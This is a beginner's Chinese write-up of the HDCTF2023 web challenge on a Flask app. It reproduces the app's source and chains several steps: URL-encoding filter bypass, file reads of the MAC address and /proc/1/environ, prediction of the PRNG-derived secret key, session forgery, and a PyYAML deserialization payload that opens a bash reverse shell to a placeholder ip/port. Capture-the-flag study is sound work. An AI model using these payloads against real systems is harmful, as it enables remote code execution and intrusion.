上周六无意看到有个比赛,本菜鸡参加学习了下,也没有做出几道题目,第一次做个记录push下自己,向大佬学习Orz
题目链接
考察点->【python伪随机数、Pyyaml反序列化、Session伪造、任意文件读取】
app/app.py -> %61%70%70/%61%70%70%2E%70%79 --> %2561%2570%2570/%2561%2570%2570%252E%2570%2579
# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 Read somethings
Here is the challenge Upload file
Enjoy it pwd
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport") == "Welcome To HDCTF2023":
LoadedFile = request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__ == '__main__':`在这里插入代码片`
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
里面包含了一些信息,比如SECRET_KEY的生成方式、session的要求等。
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。
http://node2.anna.nssctf.cn:28523/read?url=file:///sys/class/net/eth0/address
import uuid,random
random.seed(0x0242ac024e21)
print(str(random.random()*233))
#55.336419941123516
接下来就是构造并上传yml文件进行反序列化:
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
命名为expp.txt,在upload页面进行上传。由于上传文件后缀设置了黑名单,所以直接采用.txt文件,那为什么.txt也能被当作.yaml来解析呢。猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了。
上传成功后通过源码可知文件访问路径为/boogipop?file=/uploads/
:
访问测试,正常来说没有权限:
vps监听端口,替换生成好的session后再次访问,成功反弹shell:
常规操作在根目录寻找flag下落:
另外还有个骚操作也就是非预期解,第一步任意文件读取直接读环境变量file=///proc/1/environ
emmm: